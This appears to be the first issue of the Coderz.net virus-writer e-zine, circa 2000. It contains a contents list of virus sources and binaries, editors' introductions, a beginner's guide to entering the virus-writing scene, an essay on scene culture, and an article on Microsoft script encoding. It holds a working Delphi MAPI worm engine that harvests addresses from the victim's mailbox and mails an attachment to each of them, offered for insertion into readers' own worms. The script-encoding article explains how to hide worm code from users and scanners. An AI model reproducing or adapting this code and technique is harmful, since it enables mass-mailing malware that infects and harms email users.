Gigabyte's Introduction Evul's Introduction
Articles MAPI Worms in C++ and Delphi HomeSlice Viral Introduction Gigabyte Script encoding Zulu Some politically incorrect words about the so-called "scene" Spanska Faster Spreading SnakeByte AV-List SnakeByte Are Anti-Virus Companies Criminals? SnakeByte Some Tipz & trix for Win2k Ratter A few ideas for viruses Kalkin/EViL The protector scene Kalkin/EViL Katja Kladnik (Lucky Lady) Richard Karsmakers, contributed by Al Leitch Anti Avp Vbs I-Worms Detection [K]Alamar Retro the easy way MidNyte How to become the world's richest man MidNyte An Introduction to Encryption, Part III MidNyte
Source Code Win32.Infinite W9x.mATRiX Dildo Tequila Bad Seed Win95.Yildiz CU.1076 Win.Tentacle_II Win32.DDoS
ASM Billy Belcebu/IKX Lifewire/IKX T-2000/IR Disassembled by T-2000/IR Disassembled by T-2000/IR Black Jack Disassembled by Black Jack Disassembled by Black Jack SnakeByte
Win32.CrashOverwrite BeLiAL One Half Disassembled by Ratter HLL Win32.HLLP.Scrambler.b Gigabyte Win32.HLLP.STD Error/Team Necrosis Win32.HLLW.Hop_Along Quilb VBA & VBS AM97.Lea Knowdeth/Metaphase & NoMercyVirusTeam WM97.NoBodyHears AngelsKitten/NuKE NETWORK/OUTLOOK.FakeHoax Zulu WM97.Neclovek Lys Kovick/Metaphase WM97.Unperson Lys Kovick/Metaphase HTML.MSBound Suppa WM97.LSD WalruS WM97/2K.Aida e[ax] WM97/2K.String e[ax] WM97/2K.String2 e[ax] WM97/2K.Blade Necronomikon WM97/Lithium jackie XM97/Fireal jackie Batch HighHopes.c Knowdeth/Metaphase & NoMercyVirusTeam Fuck That 1.0a Deloss/NuKE
Binaries Win32.Infinite Billy Belcebu/IKX IRoK v1.1c Raid/SLAM Win32.HLLP.Scrambler.b Gigabyte I-Worm.Scooter Gigabyte Dildo T-2000/IR NETWORK/OUTLOOK.FakeHoax Zulu Win32.HLLP.Adrenaline Anonymous Win95.Yildiz Black Jack Showdown GzR/NuKE Prophecy GzR/NuKE Win32.CrashOverwrite BeLiAL Win32.HLLP.STD Error/Team Necrosis Knowdeth/Metaphase & NoMercyVirusTeam WordMacro.Blur.a and AngelsKitten/NuKE
Interviews Real Time Interview with Rajaat Interview with Raid/SLAM, about Irok Interview with The Unforgiven Interview with Del Armg0/MATRiX VX meeting 2000 in Czech Republic: Opinions of a few VXers
Tools E-Z Disassembler & Dumper 1.0 GzR/NuKE Word97 VBA SR1 Generator ver 1.1k Knowdeth/Metaphase & NoMercyVirusTeam
Humor Kevin & Kell Bill Holbrook, contributed by SnakeMan The case of the stupid IRCop Raid
Gigabyte's Introduction Hey there.. What is this e-zine? Well, it's mainly an oversight of what's been going on in and around the VX scene the last year. The zine is completely contribution based, as this zine is made by Coderz.net, which isn't a group. I've seen Coderz.net grow from a fairly small website (being Evul's own homepage) to what it is now: A virus information site, hosting several (yeah, okay, shitloads) VX homepages. Maybe this is a moment to say, thanks Evul, for the time and effort you put into Coderz.net. Thanks also goes to: Rajaat, Raid and The Unforgiven: For taking the time to answer the interview questions, Rajaat even in real life (writing the answers down in his hard to read kinda handwriting :) GriYo, Benny, mort and Ratter: For answering the questions about the meeting.. and for the great time at the meeting itself of course :) Roadkil: For HTML help.. and for testing my sunglasses with green and yellow letters on IRC :P EXE-Gency and Del Armg0: For contributing another interview. Everyone else who has contributed viruses, articles, etc.: This zine wouldn't be possible without you. Greets: Evul: Keep your dirty socks away from #virus! :) Spyda: /me bites you :P Queen: Males.. nothing but trouble, right? Raid: How about we all smoke some weed and burn infected users with the hot ashes, hmm? :) Darkman: Walking sex encyclopedia Benny: Lying down on a used condom is not a good idea.. no, not even at a VX meeting! Unless you're called Benny.. Jackie Twoflower: Lz0#2 is nice :) Rajaat: I still hate qwerty keyboards T-2000: Fries and beer! Vecna: Still can't dance? Mandragore: Cheeseburgers :) Several other people in the scene.. I won't fill a whole zine with just this list :) Fuck you: Virus-X (aka Trevelyan or Frieza) Rhape79 Nala The Bughunter (aka CWarrior) Graham Cluley: You damn sexist
Evul's Introduction Welcome to Coderz.Net zine issue 1. After long delay, and lots of procrastination, here it is - humble as it may be. This zine is made up of submissions from many members of the VX scene, and edited in whole, by Gigabyte. We hope you enjoy this zine and coderz.net - and if all goes well, hopefully there will be an issue #2. Coderz.Net was never meant to be what it has become - it simply happened. It started out as a simple homepage, and then a few sites were added, and from there it grew enormously. Over the last year it has been running on the average 80 websites, and taking traffic at rates of over 1.5 million page hits per month at times. I have done my best to make sure that the site is functional for users, and that the site stays up to date, however this has become quite a job lately, due to the size and demand of site. Along with the normal troubles that come with such a site, Coderz has been through major technical problems, threatened, harrassed, attacked, and run out of ISPs by the anger resulting from isolated incidents - yet at over two years of age, its still here and doing fine. The idea of starting a zine was kicked around for a while by myself, and I decided not to, for lack of time and patience to do so myself. A few months later, Gigabyte came to me about doing a zine for coderz, and after lots of ideas/debating she decided to take on the job and put together a zine herself .. great job, Gigs. Back to the workload talked about earlier, we desperately need people willing to dedicate some time to helping with Coderz, so both the site and the zine may continue to grow and improve. Anyone who is interested in helping, we would be happy to hear from you. Email me at
[email protected] if you would want to contribute. As part of the "live and learn" process involved in getting this zine out to you, we decided that if there is to be a #2, we will definately need people to help with it. Contact Gigabyte (
[email protected]) about the zine. Once again, many thanks to gigabyte for the hard work on this zine, and we appologise for the extended wait for this release. Well, enough of my ramblings, go read the damn zine already! Best Regards, John
[email protected]
program mapiworm; uses Windows, MAPI; {$R *.RES} (**************
MAPI Worms in C++ and Delphi
*********************
I haven't seen much documentation on writing a worm via Win32 HLL's so here goes. Nothing revolutionary, just simple API calls. This article is mainly aimed at the beginner, since actually researching this shit by hand is a major pain in the ass and time-consuming. I'm showing the code in Delphi cause it's a bit easier to read and looks nicer than C++. Code can easily be converted to C in about thirty minutes, see Microsoft's MSDN section for a complete MAPI C++ example for the syntax. A ton of code can be snipped before inserting into your personal worm. I figure showing it in "long form" to be nice etiquette for an article-specific program. This upon just very
code was tested on NT 4.0, but might need a revision dependent your OS and how MAPI is setup. And before you laugh at 20k for the worm engine, I checked AVP's site for MAPI and found some large filesize worms doing moderately well in the wild:
I-Worm.PrettyPark: http://www.avp.ch/avpve/NewExe/win32/ppark.stm I-Worm.ZippedFiles: http://www.avp.ch/avpve/worms/zipped.stm I-Worm.WinExt: http://www.avp.ch/avpve/worms/WINEXT.stm I-Worm.Plage: http://www.avp.ch/avpve/worms/Plage.stm Couple of useful links: Info on MAPI hook provider http://support.microsoft.com/support/kb/articles/Q224/3/62.ASP MAPI Address example http://support.microsoft.com/support/kb/articles/Q126/6/58.asp ReadMail example http://support.microsoft.com/support/kb/articles/Q140/3/37.asp *) // Usage: HKEY_CURRENT_USER, 'Software\ImaFaggot', 'GayLesbian' function regReadString(kRoot: HKEY; sKey, sValue: String): String; var qValue: array[0..1023] of Char; DataSize: Integer; CurrentKey: HKEY; begin RegOpenKeyEx(kRoot, PChar(sKey), 0, KEY_ALL_ACCESS, CurrentKey); Datasize := 1023; // RegQueryValueEx(CurrentKey, PChar(sValue), nil, nil, nil, @DataSize); RegQueryValueEx(CurrentKey, PChar(sValue), nil, nil, @qValue[0], @DataSize); RegCloseKey(CurrentKey); Result := String(qValue); end; var MAPIMessage: TMAPIMessage; lppMapiMessage: PMapiMessage; Recip, inRecip: TMapiRecipDesc; msgFile: TMapiFileDesc; MError: Cardinal; MapiSession, iMinusOne, i: LongInt;
bWinNT, bFindFirst: Boolean; ProfileName, sAddress, sProfile, sSentMail: String; sSeedMessageID, sMessageID: array[0..512] of Char; os: TOSVersionInfo; begin // Which Operating System we on? os.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); GetVersionEx(os); bWinNT := (os.dwPlatformId = VER_PLATFORM_WIN32_NT); // Grab default profilename from registry if (bWinNT) then ProfileName := regReadString(HKEY_CURRENT_USER, 'Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles', 'DefaultProfile') else // Standard Windows ProfileName := regReadString(HKEY_CURRENT_USER, 'Software\Microsoft\Windows Messaging Subsystem\Profiles', 'DefaultProfile'); // Fucking Delphi bug won't allow a -1 to be set // within the structure, so we trick it iMinusOne := -1; // Will hold any previous recipients sSentMail := ''; // Logon to MAPI. If no workie, get outta here try MError := MapiLogOn(0, PChar(ProfileName), nil, MAPI_NEW_SESSION, 0, @MapiSession); if (MError <> SUCCESS_SUCCESS) then Exit; except ; end; // Fill in the file structure with our attachment with msgFile do begin ulReserved := 0; flFlags := 0; nPosition := iMinusOne; // Let Outlook handle the file position // Obviously, replace the INI with your worm's path/filename lpszPathName := PChar('c:\windows\system.ini'); lpszFileName := nil; lpFileType := nil; end; bFindFirst := True; // Walk through first fifty messages for i := 1 to 50 do try // Keep up with our MessageID if (bFindFirst) then begin sSeedMessageID := ''; bFindFirst := False; end else sSeedMessageID := sMessageID; // Find a message // MapiFindNext serves as both a "findfirst/findnext" function, dependent // upon if MessageSeed has a value
MError := MapiFindNext(MapiSession, 0, nil, @sSeedMessageID, 0, 0, @sMessageID); if (MError = SUCCESS_SUCCESS) then begin // Obtain the long pointer lppMapiMessage := @MAPIMessage; // Open for Reading, headers only (both faster, and avoids // writing all the god damned attachments to temp directory) MError := MAPIReadMail(MAPISession, 0, @sMessageID, MAPI_ENVELOPE_ONLY, 0, lppMapiMessage); if (MError = SUCCESS_SUCCESS) and (lppMapiMessage.lpRecips <> nil) then begin // Sets info about message recipient with Recip do begin ulReserved := 0; ulRecipClass := MAPI_TO; sAddress := 'SMTP:' + lppMapiMessage.lpRecips.lpszAddress; lpszAddress := Pchar(sAddress); lpszName := lppMapiMessage.lpRecips.lpszName; ulEIDSize := 0; lpEntryID := nil; end; // Clear out to avoid any leftover setting FillChar(MAPIMessage, SizeOf(MAPIMessage), 0); // Fill the MapiMessage structure. // Unnecessary to expand entire struct, but aesthetically pleasing with MapiMessage do begin ulReserved := 0; lpszSubject := PChar('Insert subject for message'); lpszNoteText := PChar('Message text goes here'); lpszMessageType := nil; lpszDateReceived := nil; lpszConversationID := nil; flFlags := 0; lpOriginator := nil; nRecipCount := 1; lpRecips := @Recip; nFileCount := 1; lpFiles := @msgFile; end; // Send the message if (Pos(lppMapiMessage.lpRecips.lpszAddress, sSentMail) = 0) then begin MError := MapiSendMail(MapiSession, {handle}0, MapiMessage, 0, 0); // Store this address, so no duplicate messages are sent sSentMail := sSentMail + lppMapiMessage.lpRecips.lpszAddress; end; end; end; except ; // Process your errors like a man end; try MError := MapiLogOff(MapiSession, 0, 0, 0); except ; end; end.
Gigabyte
Explanation of some words. Before I start, I will explain some words. You will probably not only see these words in Viral Introduction, you might see them in the rest of the zine as well. VX: Virus eXchanging. VXers are those who are pro-virus, collect viruses, write them, exchange them.. AV: Anti Virus. They make virus scanners. Examples are: Anti Viral Toolkit Pro, Norton Antivirus, McAfee... IRC: Internet Relay Chat. People use it to chat, to communicate. There are many different IRC servers, Undernet for example. IRC client: What people use to connect to an IRC server. Examples are: mIRC, PIRCH, Xircon, VIRC.. ASM: Assembly language. This language is most used to code viruses in. TASM: Turbo Assembler. This is most used in the VX scene to assemble ASM source code into executable files. (Requires TLINK) VBA: Visual Basic for Applications. It's a part of the Microsoft Office products. VBS: Visual Basic Scripting language. Can be inside an HTML page. (for more information see the part about script viruses in "What is:", further down in this document. Where to find information about viruses and collecting? Well, I think I should give you some links to virus sites to begin with. Your first stop for finding any VX site should be coderz.net. Check the "Hosted pages" part, you'll find many interesting sites on coderz.net, and they might contain other links to VX sites elsewhere. Coderz.net 29A #virus Homepage Virus Trading Center Tally's Virus Link Reference If you're looking for IRC channels about viruses, you could come to #vir and #virus on Undernet. Watch out: NEVER ask or beg for viruses, you'll get kicked out. And DON'T TURN THE CAPS LOCK ON LIKE THIS, it's annoying, and it looks like you're yelling all the time, or you'll get kicked out. Viruses can be found on the net, if you put in a bit
of effort. If you can’t be bothered, or haven’t got the intelligence to find even a few, then you’re not likely to be helped out. People in the scene will gladly help you out if you put in the effort first to prove you’re not just going to infect someone’s computer. They need to know you’re interested in learning. In which language are viruses written? Mainly in Assembler (ASM), but there are also macro-viruses, which are made in Visual Basic for Applications (VBA). VBA is a part of the Microsoft Office products. There are viruses that are written in other languages, but they're a rarity. Newer is VBS, a scripting language that can be used for making worms or viruses. How to learn how to write viruses? If you wanna learn how to write viruses, you might want to read a tutorial. There are some tutorials in VDAT, for example. VDAT contains a lot of information about viruses, VXers, VX groups and also tutorials about how to write viruses. You can find answers on all kind of virus-related questions in VDAT, you can find some VX history, etc. One warning about VDAT though: it’s currently nearly 10Mb and can take a long time to download. It is definitely worth it though. Also, yes it is an exe, yes it is made by someone interested in viruses, but NO, it is not a trojan as I have been asked before. If you were going to write a trojan, would you make it 10Mb? I guess you’ll have to trust me on that :) Download VDAT from: Coderz.net's FTP And also the Codebreakers magazines are good. Get them from: Codebreakers or Coderz.net's FTP (Most of their tutorials can be found in VDAT) Don't be discouraged when you start out coding, once you get the hang of the simple parts you can go at your own pace with the rest. For which words to search when looking for viruses or information about viruses? Search for: virus, viruses, virii, VX, computervirus The best search engine to use is http://www.hotbot.com for an exact match. This can be useful when URL's of virus sites I gave you are down. How to get into the VX scene? You can meet VXers on IRC. Try #vir and #virus on Undernet. Read some tutorials (see "How to learn how to code viruses?"). Have some patience. You have to get to know the people and they have to get to know you. And learning how to code viruses might also take some time. If you have questions, first look if you can find the answer in VDAT before asking. Start with the first tutorial, not with the last. Don't go to the next until you've finished. Is it illegal? That depends on the country you live in. Usually writing viruses isn't illegal, exchanging isn't illegal either, but spreading is. So if you send someone a virus without informing the person that it's a virus, that would be considered spreading. Always check your country’s laws before doing anything virus-related. Governments don’t generally understand you can be interested in a virus without needing to spread it, if you have a virus they assume you intend to
spread it. Why do people write viruses? There can be many reasons: challenge, fame, buck authority, they want to do something different.. What is: an overwriter: A virus that completly overwrites files to infect them, so it doesn't save the original file. This is what you start with when you learn to code viruses. The host file is completely destroyed so the virus is noticed almost immediately. Have a look at Codebreakers magazine #1, or SLAM magazine #2. an appender: A virus that saves the parts of the infected file that are changed, then writes itself to the end of the host program. At the end of the virus is some code to restore the program (in memory only) and run it. Because the host program still works, your virus has a better chance of going un-noticed than an overwriter. This is explained in Codebreakers magazine #2 or SLAM magazine #3. a prepender: - A prepending virus will write itself to the start of a program instead of the end. This has the advantage of not requiring a calculation called the ‘delta offset’. Don’t worry about this yet, the tutorials will explain it when you get there, I just mention it so you know that there is a difference between a prepender and an appender. encryption: - Encryption is a way to hide the true function of your virus code, and any messages contained in it. An encrypted virus has a decyptor at the start that decrypts the rest of it then passes control to the now unencrypted part. polymorphism: A virus that creates a completely different decryptor every time, to avoid the AV being able to make a scan-string for the virus. TSR: - A virus that stays resident in memory. This can be particularly effective, because any program even listed in a ‘DIR’ command can be infected by a TSR virus. bootsector: - A bootsector is the part of the disk that is read automatically when the computer starts and loads the operating system. A virus that infects here can load before the operating system, and therefor before any AV program can be installed in memory. a macro-virus: Infects MS Office documents, is written in VBA. An example is the Melissa virus. a script virus: A virus made in Java script or VBS. Those languages can be used inside an HTML page, so the virus can be inside the HTML page. That's why they're sometimes called HTML viruses. VBS is also called 'Winscript'. Scripting languages are also good to make worms in. An example is Bubbleboy. How to get recognized? Have patience.. I hope, after you have read Viral Introduction, you've found the information you were looking for, know where to look for tutorials and virus sites and that you know what the VX scene is. Good luck, Gigabyte Thanks a lot to MidNyte, for all the help with the article and suggestions, and to Spyda for the 'Viral Introduction' picture.
Script encoding 09/09/2000 Hi all. First, when reading this, consider that English is not my native language, so expect some mistakes in the text. :) I was going to submit my last worm for the zine, but well, instead of that I decided to write some things about encoded scripts (JScript/VBScript) and only use that worm as an example. With this I mean Microsoft's encoding, not other manual ways of encoding or making your code harder to read. So this is my first article for a zine, most of my viruses/worms where included in many, but just that, not real articles or tutorials.
Script encoding in HTML files Script encoding started with Internet Explorer 5, in that time it was possible to use the "<script>" tag of HTML files to write scripts in JavaScript, JScript or VBScript, but this version added new values for the "language" property of that tag, those values were "JScript.Encode" and "VBScript.Encode". Examples: <script language="JScript.Encode"> <script language="VBScript.Encode"> I said that Internet Explorer 5 started this because it included version 5 of both JScript and VBScript, which are the ones that included this new feature. For encoding your script you need Script Encoder which is available from http://msdn.microsoft.com/scripting. This Win32 command line program will read your HTML file with a script tag having "VBScript" as it's "language" value and it will write a new HTML file with your code encoded and with the "language" attribute changed to "VBScript.Encode". Similar thing happens when using JScript. For example, something like this: <script language="VBScript"> MsgBox "Example" Will be changed to: <script language="VBScript.Encode">#@~^GgAAAA==@#@&P~t/TAWXPr36m:2VJ@#@&7gUAAA==^#~@ Have in mind that this encoding is really designed for casual readers of your code, the truth is that it's trivial and will not protect your code from people that is decided to view it. Of course that this things are only supported in Internet Explorer, not in other browsers. Script languages are not part of the HTML language, not even the "language" attribute is part of HTML 4, the correct attribute would be "type", but well, that is another matter that is not virus related. At the time of writing this I know only one virus using this feature in HTML files, it is HTML.Lanus which I wrote time
ago. Anyway, I explained script encoding in HTML files to show how it was possible, but as we know, HTML files are not a real target for viruses since scripting in them needs authorization from the user when using most needed objects unless we are using some kind of bug to skip the warning message.
Script encoding in Windows Script Host Windows Scripting Host 1 (also known as WSH in this text) was included for the first time in Windows 98. It supported JS (JScript) and VBS (VBScript) files to do scripting, and with this, a new type of viruses was started by Lord Natas. No encoding was possible. Time later Windows Scripting Host changed it's name to Windows Script Host and version 2 was out. One of the things that this new version added was the possibility of encoding our scripts like it was possible with HTML files by using two new extensions, JSE and VBE. JSE are JS files after using the encoder, the same happens with VBE and VBS. For using the encoder with JS and VBS files is the same as with HTML files, it reads a VBS file with our script and it creates a VBE file which has our encoded script.
NETWORK/OUTLOOK.FakeHoax NETWORK/OUTLOOK.FakeHoax is an example of script encoding in Windows Script Host. It is the first virus/worm using the JSE and VBE extension (at least not as auxiliary files), so it has two versions, one in JScript and other in VBScript. It uses OUTLOOK and the network shares for spreading. The main code is a COM object written in XML and VBScript using Windows Script Component, so the code in the JSE and VBE file is trivial. Both versions create a WSC file (the COM object defined in XML) and then both call methods and change properties of that object, no real spreading code is in those files. The worm was written in this way to make it easier to port it to any other language, this way I was able of creating a JSE and a VBE file without really porting the main code. Also, it's possible to create new versions using Delphi, Visual C++, or any other by using "REGSVR32.EXE" to register the WSC file as a COM object before calling it's methods or changing it's properties. This worm was written to show how JSE and VBE files could be used in viruses/worms, since before this they where only used as auxiliary files (some versions of HTML.rahC by 1nternal and OUTLOOK.Monopoly by me for example). Besides, since it needs Windows Script Host 2 or later, it won't be good spreading itself at the time of writing this. Also, this was a good opportunity for using Windows Script Component for the first time because it made possible to write a JScript and a VBScript version without needing to port the whole code, so this is also the first virus/worm using it's own COM object. NETWORK/OUTLOOK.FakeHoax text file including source code: network_outlook.fakehoax.txt. NETWORK/OUTLOOK.FakeHoax ZIP file (text file and working copies of the worm): network_outlook.fakehoax.zip.
Script encoding support When writing viruses you must know in which systems your code will work. Even that script encoding is not new, it was not a valid feature for viruses since not many systems supported it. But this is changing in this days and encoding is now possible for a worm with good spreading capabilities. Script encoding in HTML files: supported in any system with JScript/VBScript 5+ (included in Internet Explorer 5+).
JSE and VBE files: supported in any system with Windows Script Host 2+ (included in Windows 98 SE, Windows 2000 and Windows Me). Also, JScript/VBScript 5+ and Windows Script Host 2+ can be installed as separate packages. For example, an encoded script in a HTML file could be run in Internet Explorer 4 if JScript/VBScript 5+ separate package is installed.
Trick to run JSE and VBE files in systems with WSH version 1 By using a trick I found, JSE and VBE files can be run in systems with WSH version 1 instead of version 2 if JScript/VBScript 5+ is installed. Let's see an example, a system has Windows 98 (not Windows 98 SE) and Internet Explorer 5 installed. WSH 2+ separate package was not installed. So this system has WSH 1 and JScript/VBScript 5, since WSH 1 was included with that Windows version (unless it was not selected in a custom installation) and JScript/VBScript 5 was included with Internet Explorer 5. This system is able to understand encoded scripts, it just doesn't has the JSE and VBE extension support. So to run a JSE or VBE file we can create a WSH file that calls the encoded script. This means that instead of running a VBE file directly (not possible in the example), we can run a WSH file (which is supported in WSH 1) that runs a VBE file. This method was used in OUTLOOK.Monopoly, the worm was a VBS file that created a WSH and a VBE file and then runs the WSH file, so the main code was encoded and it worked in the first edition of Windows 98 with Internet Explorer 5 installed. WSH 2+ was not needed in this worm. I won't explain how WSH files work, to know more about them, create a JS file and then view it's properties, changing some of them will create a WSH file in that same directory. Then view it and play with those values. :)
Other file types in which script encoding may be used Script encoding can be used in any file format that accepts the "<script>" tag. Anyway some file formats like WSC and WSF are not supported by the actual version of Script Encoder, but you can include encoding in those file types by creating the "<script>" tag in a HTML file and then copying the encoded code to the WSC or WSF file. Script Encoder recognized extensions are ASA, ASP, CDX, HTM, HTML, JS, SCT and VBS.
Script encoding and viruses You can use this feature in HTML viruses/worms even that they are not something very interesting, or you may use it in worms in JSE or VBE format, which will be better methods. Normal viruses in JSE and VBE format are not interesting since it would be like JS and VBS viruses, there are not many files to infect since they are not used much by people, well, maybe you can find lot's of them in my computer since I'm so crazy about scripting and I use it for lot's of simple tasks, but most users don't use WSH. :) Also, encoding won't make a file simple to infect, since it would be necessary to decode it, infect it and then encode it again. This days there are a lot of worms in VBS files (not happening the same with JScript ones), well, all this worms could be easily encoded. Encoding VBS files will have two advantages:
1) The code will be encoded, so it will be harder to read and most users won't do that. 2) VBS files are a known target for worms, but VBE files are not. So VBE extension is far better for them. But there are also two disadvantages: 1) Some old systems may not be able of running VBE files. 2) The script will be a few bytes bigger. But they are only a few so this is not really a big disadvantage. Well, that's all, let me know in case of any error you find about technical things or for any question you have. Bye all. Zulu
[email protected] http://coderz.net/zulu
Some politically incorrect words about the so-called "scene"
[by Spanska, written for Coderz.net e-zine]
- Ethnographic introduction Virus writers and all people classified globally under the "Vx" label are an interesting population to observe. Especially if you can have a look from the inside, and, at the same time, if you're not involved enough, in order to be able to see the "scene" from an independant and exterior point of view. I think i qualify here. I'm around since a few years, met some coders in real life, wrote some viruses, but at the same time i was never member of any group, i'm old enough to be able, i hope, to think with some distance, and these last monthes i basically had better things to do than to write code. - Don't ask "How much time you spend on IRC?", but ask "Show me your code!" The main problem of the "scene" can be spelled in three letters: IRC. I'm impressed to see how people spend so much time chatting about everything except virus coding techniques. They think that to be a real virus writer, you need to be accepted in some virus channel, and then spend twelve hours a day there. High dosis of IRC induces a sort of twist in reality perception, because people behave there very differently from real life. How many people we saw, and we will see, very proud of their brand new op, kicking, banning, laughing about infected users, acting as some powerful agressive elite. Even if they never produced one single line of code. Even if they never did anything useful for the Vx community. Even if their only production is a twenty line macro-virus. Even if they have to go to school the day after, where they will not be "DarkLordz" or "KillerGod" anymore, but normal average teens who have to do their homework. If you think you're a mature person, and i guess most of us are, behave as a mature person even on IRC. You may think i exagerate when i talk about this twist of reality. Unfortunately, i can cite lots of examples. Let's take one that everybody heard about. This coder, no need to tell his nickname, according to his own words, sent logs to some anti-virus people showing that another coder was actively spreading viruses, to "protect one or two channels from being deleted by Undernet". Basically, that means that the existence of IRC channels is more important that a real person's life. Because, unfortunately, nowadays, spreading viruses can lead directly to some years in jail, depending on the laws in your country. Which means a destroyed life. Just to "save a channel". You see
the twist. I'm pretty sure now the guy in question recognizes the big error he made, and i hope he learnt from that, but anyway, it's too late. This example was of course a bit unique in his importance. But it's typical of a state of mind very widespread in the Vx community. People think an op is the most important thing in life. They thing their rank level in the channel's bot is the only important thing, proportional to their eliteness. Twist again. Importantly, this changes the communication and the behaviour between people. Who is going to criticize the owners of their favourite channels? Or more generally, people with a higher level? This leads to hypocrisy, which is very widespread in the community. I saw too much examples of guys and girls spending so much time on IRC that everything that happened there, even the most anecdotical fights, was taking a huge importance. Let me tell you: if you need a computer and to be connected to feel human emotions like pain, angryness, friendship or love, there is something wrong. Really. IRC has another problem. It's dangerous. It seems that Vx people never learnt the lessons from the Melissa case. They don't care about encryption, they don't care about remailers, they don't care what they say on-line can be used to profile or trace themselves or, even more importantly, some of their friends. They keep megabytes of sensitive IRC logs and old mails. They just don't care until the worst happens. Virus writing and spreading is no more a funny game. It's a dangerous criminal activity, and you have to take this fact in account, especially if you spread your viruses, or have friends who do that. This is the main revolution in Vx Land these recent years. Now they are seriously after us. And nobody cares. - Vxers as crickets Let's talk about another interesting behaviour in the Vx scene: the flocking in groups. That's funny how people who repeat so often that they are independant, or think different, do all their possible to integrate or create some clan with similar people, and then be proudly tagged as a member of a larger entity known as a Vx group, with its own set of new rules and laws they have to conform to. Like sheeps. The analogy is not here just as a cheap provocation. It's a very old animal behaviour. Individuals are weak; if they flock, they are stronger against all possible ennemies. Or at least they feel stronger. Crickets are a good example. Whenever they form a very large group, their behaviour changes completely and they become much more agressive. They are no more afraid of predators. It's very funny to see the same kind of basical animal regression in Vx crowds. Or maybe it's just to get some form of reconnaissance. People with no skill, or people afraid to learn (because we were all lamers at day zero, we should not forget that) know that they will never be accepted in the community for their own merits. So they need a sort of official tag to prove to others and maybe even more to themselves that they are part of Vx scene. This mark is provided by the membership in some group, which provide easily and quickly an official entrance ticket into the scene. No need to produce anything useful, now. You are already inside the community, even by a totally artificial way. Here again, examples are numerous. Was it one year ago that a new mainly englishbased group appeared, totally over-hyped, with every newcomer wanting to integrate? They did nothing, most of their members were just plain unknown, but you couldn't miss their presence on IRC. Everybody laughed at them, but nobody told them directly that they were totally ridiculous, for example with their "public relation department"
(more on that later), and other really laughable things. Yet, again, IRC was the main "scene" participation. Where is the code? I think now this group returned to the dust it appeared from, but who really cares? I remember too these ridiculous but finally rewarded ass-licking efforts by a coder (who is a cool and very intelligent guy, but anyway) to integrate a high-profile group. Once he was at last able to glue this wellknown tag to his nickname, he reached his goal, and just disappeared. He never coded anything else. People sometimes tell me: "being member of a group is a good way to motivate". If you need to be motivated or gently forced to be a vxer, it should be a better idea to spend your time fishing, or doing something you don't need to be motivated for. Forget for a moment the question "how to be a vxer" (and basically, if you still don't know the answer, it's time to return to your stamp collection), but ask yourself the more important question: why do you want to be a Vxer? For the hype? Because it's cool? Because people will fear you? Because you want to satisfy your ego? Because your want to impress your girlfriend or your mom? Because you're looking for on-line friends? Or just because you are curious, you want to code and learn some new knowledge? - I'm soooo afraid to talk with normal people! Another strong critic and clear sign of immaturity that comes to mind. Most of the Vxer are not able to argument with people from the two other sides of the virus triangle: antivirus people and infected users. There is a good place for that: alt.comp.virus on Usenet. A mainly anti-virus group nowadays, unfortunately, with some non-interesting parrots, but anyway, the only place where you can directly and publically discuss with members of the anti-virus industry. They have their share of big hypocrisy, ego, closed mind, of course, but i'm not talking about them right now. These guys, and some of them are very smart, have a lot of tough arguments to oppose to us. The easy way, used by most of Vx people, is not to participate in this group, and avoid any kind of discussion. Or just to pop up here once, insult everybody, and jump back to their hole. What does it mean? Easy: virus writers are not enough open-minded to quietly discuss with people opposing them, listen and contradict some opposite argumentation. Or maybe they are not smart and mature enough to engage in an adult discussion. It is kind of funny because Vx often ask for people to be open-minded about virus writing activities. Instead of bashing the largely beloved Nick Fitzgerald on IRC, where he is not, what about trying to argue against him publically in the newsgroup? Of course, it may be a bit tougher, due to his rhetorical skills. Some vx people told me that they don't participate in this forum because it's a mainly AV group. Think a bit more about this argumentation. It's kind of recursive, a bit like an infinite loop, to use coding terms. It looks like an auto-realizing prophecy. In other words, it's plain stupid. - Ego scene I could talk more about the grossly over-inflated ego of most of us (me included), but my hour of reflexion is over. Anyway, just as an example, i always find funny the dramatic and emphatic farewells from people leaving the "scene", although they generally never produced anything noticeable, texts apparently always written with some emotion. If you want to leave, just disappear silently and return to where you came from, nobody will notice anyway, keep contacts if you want, and don't bother people with your ridiculous tears in the eyes and other "official" retirement. The day you decided to become a vxer, you didn't issue a public statement "People, listen to me, today i officially join the vx scene!". So, do the same when you leave. Every other way
to stop is just a desesperate and childish call for attention, from people who didn't receive enough of it for their production during their career, an ultimate try to turn people eyes in their direction for one or two minutes. This impression is even worsened when the guy gives, as a reason, "there is too much shit in the scene these days", or something like that. That clearly means that they were not here to code and to learn. They probably needed to be accepted in whatever community to find some other people to talk with. What about the Barbie doll collector scene? Now i think about it, the utimate case of lameness is the guy who declares everywhere that he quits, and is actually still around. Not even able to follow his own words. Another example, linked with the group problem. It seems that some people create a group for the only excitement to become a boss, to be able to recruit people, command them, and fire them if needed. People always need to find other people even more lame than them to enhance themselves, it's an eternal law of the human beings. Same mechanism of false and artificial feeling of power than in IRC. It's "my" group, "my" board, "my" zine, "my" channel, and there i am the king. More generally, a rigid hierarchy in a group is a clear signal of lameness. Newcomers, please notice how the best groups around have no hierarchy at all. Maybe one guy who centralizes the material for the zine, and that's all. Every attempt to mimick the real world (a company for example, with different departments) is condamned to be considered as extremely lame and poorly productive; and i don't even talk about the irony to see newcomers in the underground trying very quickly to imitate the mechanisms of the normal world. Didn't you come in the vx world in part because it looked different? That's why everybody laugh when a group creates this peak of extreme ridiculousness, a "Public Relation" department. It's clearly a way to admit "we have nothing to say, but anyway, there is a guy in charge of that". It's a way to show to everybody your nombrilist and egocentric view of the scene, because you think every journalist around is going to be interested by your new group, you will be submerged by interview requests, users will ask you about your viruses, you will do the first page of the New York Times. In your dreams. - Delicate conclusion I sometimes think that the Vx scene is mainly composed by boring IRC teens, who don't really know what life (i mean the real life) is all about, who are not interested in learning, but in posing as some elite lordz of Darkness. It may be partially true, or partially wrong, depends on how you look at it. Anyway, i don't really care. A minority of people are interesting enough, as human beings, or coders, or both, and that's the only important thing, at least for me. I don't care about all the microscopic IRC wars, the anecdotic group fights, the childish agressivity. Maybe that's because i'm a bit old, but i think i've learned how to filter important things from the background noise. And not just in Vx world. Try to do the same, you will see, life is easier. - Epilogue People involved in the virus community - i don't like the word "scene", this is not a theater, and there is nobody looking at us, another nombrilist deformation of reality, even in the terms used - always say that it's worsening with the years passing. More and more script kiddies and less and less die-hard asm coders who can spend six 